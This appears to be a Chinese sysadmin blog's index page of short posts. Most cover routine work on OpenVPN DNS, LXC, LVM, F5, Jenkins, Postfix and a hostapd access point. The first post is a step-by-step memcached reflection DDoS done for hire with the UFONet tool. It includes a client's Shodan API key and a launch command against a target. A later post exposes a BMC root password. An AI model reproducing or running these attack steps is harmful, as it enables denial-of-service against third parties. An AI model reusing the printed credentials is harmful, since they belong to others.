Freelancer任务之七memcache 放大攻击

这是一次差点蚀把米的过程啊,最后争议拿回了自己的手续费,白干了一场啊,真够倒霉的。 韩国人要反射攻击。 首先clone项目: git clone https://github.com/epsylon/ufonet 原理很清楚,通过memcache的漏洞,memcache居然是UDP的,伪造源地址,发一堆请求到有漏洞的memchache,引起反射攻击。 一堆有漏洞的机器从哪获得呢?这个韩国人真的有Shodan API,手榴弹? 他的账号,确实可以看到一堆有毛病的机器 0ptoLUtmkSJ8DbAvyZ8PevTRsyLoxEuN 安装python: wget https://www.python.org/ftp/python/2.7.14/Python-2.7.14.tgz tar zxvf Python-2.7.14.tgz cd Python-2.7.14 ./configure --prefix=/export/servers/Python2714 make make install wget -O- "https://bootstrap.pypa.io/get-pip.py" | /export/servers/Python2714/bin/python /export/servers/Python2714/bin/pip install pycurl /export/servers/Python2714/bin/pip install geoip /export/servers/Python2714/bin/pip install whois /export/servers/Python2714/bin/pip install crypto /export/servers/Python2714/bin/pip install request 先去拿一堆漏洞机器的列表 cd ufonet /export/servers/Python2714/bin/python ./ufonet --sd 'botnet/dorks.txt' --sa 轰击: /export/servers/Python2714/bin/python ./ufonet./ufonet -a http://target.com -r 10000 --threads 2000

2024年01月24日 · 1 分钟 · 61 字 · 八戒

Freelancer任务之八openvpn的DNS分发

雇主给了个难题,他搭建了一个openvpn,并且有两个DNS Server,一个是带AD广告过滤的,一个是不带的。这两个dns服务在同一个机器上,端口不同。 他想让在openvpn的client端配置一下,让客户使用不同的dns server。 找了半天,没有能修改dns port的配置。 于是曲线救国。 方案如下:客户端固定IP,根据不同的来源IP来分发到不同的DNS去。 本来是想用V2EX一个哥们自己写的glider,弄了半天,不知道怎么配,不过功能肯定是能实现的。最差就是自己改go代码了。 快速起见,用了另外一个哥们的dns-dispatcher,就是dns分发,glider是彻底的各种代理转发,链条代理,非常强悍。 克隆dns-dispatcher代码 git clone https://github.com/cathuhoo/dns-dispatcher 编译: make 配置,我们只配置了udp的53端口,标准的DNS端口 vi dns-dispatch.config ; This is a test configuration file [main] file_resolvers = resolvers.txt file_policy = policy.txt file_log = /var/log/dns-dispatch.log file_pid = /var/run/dns-dispatch.pid num_threads = 3 service_port = 53 #tcpservice_port = 53 daemonize = yes 配置策略: vi policy.txt ip2 | * | Forward:bind2 ip1 | * | Forward:bind1 配置ip1和ip2 vi ip1 10.10.1.2 vi ip2 10.10.1.3 配置bind1和bind2,两个dns在10.10.1.1上,端口分别是5301和5302 vi resolvers.txt bind1|10.10.1.1|5301 bind2|10.10.1.1|5302 运行: sudo ./dns-dispatch -c dns-dispatch.config OK,搞定,所有的配置都在文件里,还有别的用法,大家用的话自己看文档吧。 ...

2024年01月24日 · 1 分钟 · 90 字 · 八戒

lxc下如何让usb设备pass through直接到达虚机

测试的同事要在测试机上安装android studio,adb直接调试手机。 这下麻烦了,测试机实际是个lxc的容器,需要把插在宿主机usb上的手机直接过给容器。 说下做法: 首先在宿主机上执行lsusb,查出手机USB: [root@localhost]# lsusb Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 002 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 014: ID 04e8:6860 Samsung Electronics Co., Ltd GT-I9100 Phone [Galaxy S II], GT-I9300 Phone [Galaxy S III], GT-P7500 [Galaxy Tab 10.1] , GT-I9500 [Galaxy S 4] Bus 001 Device 004: ID 0624:0248 Avocent Corp. Virtual Hub Bus 001 Device 005: ID 0624:0249 Avocent Corp. Virtual Keyboard/Mouse 看最长的带GT-I9100那一行,ID 04e8:6860,VendorID:ProdID,说明Vendor=04e8 ProdID=6860,记下来。 ...

2024年01月24日 · 1 分钟 · 191 字 · 八戒

Dell的idrac redfish初探

各大主板厂商纷纷支持下一代带外管理标准redfish。 其实Dell的idrac管理做的是相当好的,那么来看看对redfish的支持吧。 先看看v1都有什么命令 curl -s "https://10.16.24.15/redfish/v1" -k -u root:xxxxxxxx | jq . 结果如下: { "@odata.context": "/redfish/v1/$metadata#ServiceRoot.ServiceRoot", "@odata.id": "/redfish/v1", "@odata.type": "#ServiceRoot.v1_1_0.ServiceRoot", "AccountService": { "@odata.id": "/redfish/v1/Managers/iDRAC.Embedded.1/AccountService" }, "Chassis": { "@odata.id": "/redfish/v1/Chassis" }, "Description": "Root Service", "EventService": { "@odata.id": "/redfish/v1/EventService" }, "Id": "RootService", "JsonSchemas": { "@odata.id": "/redfish/v1/JSONSchemas" }, "Links": { "Sessions": { "@odata.id": "/redfish/v1/Sessions" } }, "Managers": { "@odata.id": "/redfish/v1/Managers" }, "Name": "Root Service", "Oem": { "Dell": { "@odata.type": "#DellServiceRoot.v1_0_0.ServiceRootSummary", "IsBranded": 0, "ManagerMACAddress": "50:9A:4C:82:B9:3F", "ServiceTag": "7Q9N8P2" } }, "RedfishVersion": "1.0.2", "Registries": { "@odata.id": "/redfish/v1/Registries" }, "SessionService": { "@odata.id": "/redfish/v1/SessionService" }, "Systems": { "@odata.id": "/redfish/v1/Systems" }, "Tasks": { "@odata.id": "/redfish/v1/TaskService" }, "UpdateService": { "@odata.id": "/redfish/v1/UpdateService" } } 好多服务撒,挑其中一个分支看看: curl -s "https://10.16.24.15/redfish/v1/Chassis" -k -u root:alibaba | jq . 结果如下: { "@odata.context": "/redfish/v1/$metadata#ChassisCollection.ChassisCollection", "@odata.id": "/redfish/v1/Chassis/", "@odata.type": "#ChassisCollection.ChassisCollection", "Description": "Collection of Chassis", "Members": [ { "@odata.id": "/redfish/v1/Chassis/System.Embedded.1" }, { "@odata.id": "/redfish/v1/Chassis/Enclosure.Internal.0-1:RAID.Integrated.1-1" } ], "Members@odata.count": 2, "Name": "Chassis Collection" } 再试试Session的管理: ...

2024年01月24日 · 3 分钟 · 451 字 · 八戒

LVM调整分区大小

系统是xfs文件格式。/root空间不够了。必须对空间进行调整,悲剧的是xfs只能增加空间,不能缩减空间,必须曲线救国了。 查看一下,缺省有两个lvm的分区 /dev/mapper/centos-root 40G /dev/mapper/centos-home 20G 只能减小home分区,再增大root分区了。 先备份home分区,并缩小到2G: # yum -y install xfsdump # xfsdump -f /home.xfsdump /home please enter label for this dump session (timeout in 300 sec) -> home please enter label for media in drive 0 (timeout in 300 sec) -> home # umount /home # lvreduce -L 2G /dev/mapper/centos-home Do you really want to reduce home? [y/n]: y 然后扩充root分区: # lvextend -L +18G /dev/mapper/centos-root # xfs_growfs /dev/mapper/centos-root 最后恢复home分区 # mkfs.xfs -f /dev/mapper/centos-home # mount /home # xfsrestore -f /home.xfsdump /home 搞定 ...

2024年01月24日 · 1 分钟 · 85 字 · 八戒

F5-bigip的SSL每秒传输(TPS)限制

公司用到了SSL的泛域名证书,网站整体套上了HTTPS,然后最前面是F5做SSL的卸载。 麻烦也来了,F5的SSL Transactions Per Second (TPS) 是有license的,首先检查一下吧 tmsh show sys license detail | grep -i perf_SSL_total_TPS perf_SSL_total_TPS [500] 显示是500 还得查查有几个核心 tmsh show sys tmm-info global | grep -i 'TMM count' TMM Count 4 4个核心 那么每秒SSL的TPS限制就是 500X4=2000 超过2000就得去增加license了。

2024年01月24日 · 1 分钟 · 37 字 · 八戒

两台不同系统上Jenkins的联动

场景是这样的,有两台jenkins。一台是正常安装在linux上的,另外一台是在macos上的。 在macos上的这台,装了有xcode和android studio,负责ipa和apk的自动打包。 而在linux上jenkins则是主jenkins,负责很多项目的打包。 这样两台的目标就都很明确,麻烦的是需要来回登录来构建项目,那么有没有方法从第一台上直接调用第二台的项目进行构建呢? 当然可以,直接发个带Token的url到第二台就可以。 这个不是本文的重点,本文重点,源码是Git的build过程,jenkins装了Git parameter插件后支持选tag进行building。 这样如果两台都这么来一下,实际是在两台都git check了一下,然后开始build,这对于第一台来说,毫无必要。 第一台主jenkins的任务就是看看git项目中都有什么tag,然后把tag发链接给第二台即可,没必要check的。 而第二台也不去看tag,直接从git中checkout出第一台传过来的tag版本,进行构造,这样最省资源。 那么,怎么让第一台只查看tag呢? 万能的groovy大法: def gettags = "git ls-remote -t git@git.coding.net:doabc/app-abc.git".execute() def tags = [] def t1 = [] gettags.text.eachLine {tags.add(it)} for(i in tags) t1.add(i.split()[1].replaceAll('\\^\\{\\}', '').replaceAll('refs/tags/', '')) t1 = t1.unique() return t1 注意上面,groovy和git的证书需要都事先配好。

2024年01月24日 · 1 分钟 · 43 字 · 八戒

配置postfix转发局域网邮件以及邮件黑洞

配置postfix允许自由转发内网的邮件,就改一个地方即可,添加允许发送的内网网段: vi /etc/postfix/main.cf ... mynetworks = 127.0.0.0/8, 172.16.0.0/16 ... 配置黑洞,所有邮件都接受,然后drop丢掉 relayhost = relay_transport = relay relay_domains = static:ALL smtpd_end_of_data_restrictions = check_client_access static:discard 当然,也可以把这些邮件都给送到amavis去,训练它识别垃圾邮件 测试邮件发送的命令: echo "body of your email" | mail -s "This is a Subject os version" -r "abc@kindlefan.xin" test@abc.com 注意:CentOS和Ubuntu默认居然都没有mail这条命令的话 yum install mailx apt-get install bsd-mailx

2024年01月24日 · 1 分钟 · 48 字 · 八戒

Ext4分区的缩小

缩小/ 的ext4分区步骤如下: 首先查看分区是什么文件类型 file -sL /dev/sd* /dev/sda: x86 boot sector; GRand Unified Bootloader, stage1 version 0x3, boot drive 0x80, 1st sector stage2 0x2044148, GRUB version 0.94; partition 1: ID=0x82, starthead 32, startsector 2048, 8388608 sectors; partition 2: ID=0x83, active, starthead 75, startsector 8390656, 411039744 sectors, code offset 0x48 /dev/sda1: Linux/i386 swap file (new style) 1 (4K pages) size 1048575 pages /dev/sda2: Linux rev 1.0 ext4 filesystem data (needs journal recovery) (extents) (large files) (huge files) 能看出来sda1是交换分区,那么要缩的分区是/dev/sda2,文件类型是ext4 ok,先确保虚机内/分区只占到5G,然后最好重新拷贝一下qcow2文件,把文件到弄到前面5G中。 然后修改一下kvm虚机配置,先加个iso进入rescue模式 virsh edit xxx 把boot顺序从hd改成cdrom ... <boot dev='hd'/> <boot dev='cdrom'/> ... <disk type='file' device='cdrom'> <driver name='qemu' type='raw'/> <source file='/export/kvm/iso/CentOS-7-x86_64-NetInstall-1708.iso'/> <target dev='hdc' bus='ide'/> <readonly/> <address type='drive' controller='0' bus='1' target='0' unit='0'/> </disk> ... 系统启动,进入cdrom安装,选择Troubleshooting ...

2024年01月24日 · 1 分钟 · 145 字 · 八戒

CentOS下做无线AP热点

自己的笔记本是装了个CentOS的系统,然后上面跑了个Vmware,又装了Win10,然后接两个屏幕,小的是linux跑gnome,大的是Win10屏幕,这样干活的。 路由更是混乱无比,网卡有tun0 / wlan0 / eth0 ,没有弄br0,这是大前提。如果弄br0的话,得改一堆东西。 这样的话wlan0无线网卡不联网就空闲了,于是想把无线网卡做AP共享出来,给手机用,做法真是比较复杂,弄了2天才弄好,网上的教程都是莫名啊,不太适合CentOS。 其实就是安装hostpapd,把做法记录一下: 首先不想改动已有的网络,那么桥接这条路就彻底断了,只能在无线网卡上做DHCP+NAT一条路了。 先检查网络: lspci -k | grep -A 3 -i "network" 03:00.0 Network controller: Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01) Subsystem: Lite-On Communications Inc Device 0662 Kernel driver in use: ath9k Kernel modules: ath9k 看到自己的网卡驱动是ath9k,再看看模块 modinfo ath9k | grep 'depend' depends: mac80211,ath9k_hw,ath9k_common,cfg80211,ath mac80211, cfg80211看到这个就放心了,driver就是nl80211 再确认一下,里面有* AP 字样这样就没问题了: iw list|grep -A8 "Supported interface modes:" Supported interface modes: * IBSS * managed * AP * AP/VLAN * WDS * monitor * P2P-client * P2P-GO 首先看看自己的无线网卡物理地址,30:10:B3:6A:22:AA记下来 ...

2024年01月23日 · 2 分钟 · 290 字 · 八戒